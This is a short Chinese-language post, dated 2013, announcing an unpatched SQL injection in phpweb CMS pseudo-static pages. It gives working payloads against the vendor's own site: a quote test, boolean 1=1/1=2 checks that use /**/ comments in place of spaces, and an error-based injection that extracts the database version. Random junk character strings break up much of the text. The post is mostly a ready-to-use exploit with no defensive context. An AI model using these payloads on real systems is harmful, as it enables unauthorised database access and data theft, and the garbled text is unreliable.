phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

, q' y/ T4 i; y' U9 m主站：http://phpweb.net/
- H: g4 b) F% O, I/ Y加’检测：
3 ~0 _- p3 o' I2 y3 H8 t" U
* {5 _, x6 q4 G& I  ahttp://www.phpweb.net/down/html/?772′.html

6 u- U4 Z2 l* g出错
存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
% _' _4 x$ @& _5 e  X: Q% E
) H- i; |' A8 ?/ f0 o. khttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

7 F# |5 m, p7 q' S  l; f?
. ~4 \7 S7 m7 S1 M6 V5 a$ l1
; Y% z  a) U1 l$ J( k% J: `; Xhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
3 P' I) ?- |, Z9 v, r6 L. l